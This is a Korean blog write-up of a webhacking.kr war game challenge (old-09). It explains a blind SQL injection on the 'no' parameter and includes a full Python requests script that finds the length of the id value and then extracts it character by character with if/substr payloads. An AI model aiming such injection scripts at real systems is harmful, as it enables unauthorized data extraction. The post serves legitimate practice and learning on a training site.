1. 공격 유형 : BLIND SQL INJECTION
2. 취약점 환경 : no값에 BLIND SQL INJECTION 수행
3. Write Up
ㅇ 공격 포인트
- No 3번의 id 컬럼이 DB에 존재한다고 추측
- No 3번의 id 컬럼을 확인하기 위해 SQL INJECTION 수행
ㅇ 공격 수행
- SQL 쿼리를 분석해보면 no 파라미터에 숫자를 전달하면 DB에서 해당 no의 id값을 출력해주는 형태로 no 3값의 id를 출력해야 하고 이를 진행하기 위해 if문 구조의 BLIND INJECTION 수행이 필요함
- BLIND INJECTION의 경우 반복으로 값을 요청해야하기 때문에 Python(3.x) 버전의 Reuqests를 이용하여 코드 공격 코드 생성
import requests
s = requests.Session()
proxyList = {'http':'127.0.0.1:8000',
'https':'127.0.0.1:8000'}
def login():
url = 'https://webhacking.kr/login.php?login'
login = {'id':'계정명',
'pw':'패스워드'}
response = s.post(url, data=login, proxies=proxyList, verify=False)
response.status_code
print (response.text)
def payload():
login(); TrustKey = "Secret" ; code=''
for i in range(1,20):
url = "https://webhacking.kr/challenge/web-09/?no=if(length(id)in({}),3,0)".format(str(i))
response = s.get(url, proxies=proxyList, verify=False)
response.status_code
res = response.text
leng = i
if(res.find(TrustKey)!=-1):
print ("[-] Find Out Length Of ID : {}".format(str(leng)))
break
for i in range(1,leng+1):
for j in range(65, 128):
url = "https://webhacking.kr/challenge/web-09/?no=if(substr(id,{},1)in('{}'),3,0)".format(str(i),chr(j))
response = s.get(url, proxies=proxyList, verify=False)
response.status_code
res = response.text
if(res.find(TrustKey)!=-1):
code = code + str(chr(j))
print ("[-] Find Out Of ID : {}".format(str(code)))
break
print (code)
payload()
ㅇ 코드설명
- rquests.Session() 생성으로 로그인 세션을 유지할 수 있도록 함
- login() 함수 내에서 id/pw를 입력하여 post값으로 로그인 수행
- payload() 함수 내에서 if(length(id)in(i),3,0) 값으로 페이로드 입력
- if문의 경우 length의 길이가 i값과 동일하게될 경우 하위의 if문 동작하게 함
- SQL 특성상 페이로드 If문이 참일경우 no 컬럼의 3번값을 출력 (만약 참의값을 1로 지정시 1에 해당하는 값 출력)
- 두번째 for 문에서 실제 id값을 알아내기 위한 BLIND INJECTION 수행
'2. Information Security > 3. War Game' 카테고리의 다른 글
웹해킹 11번 (webhacking.kr old 11) (0) | 2019.11.08 |
---|---|
웹해킹 10번 (webhacking.kr old 10) (0) | 2019.11.01 |
웹해킹 8번 (webhacking old 8) (0) | 2019.10.20 |
웹해킹 6번 (webhacking old 6) (0) | 2019.10.20 |
웹해킹 1번 (webhacking old 1) (0) | 2019.10.20 |
댓글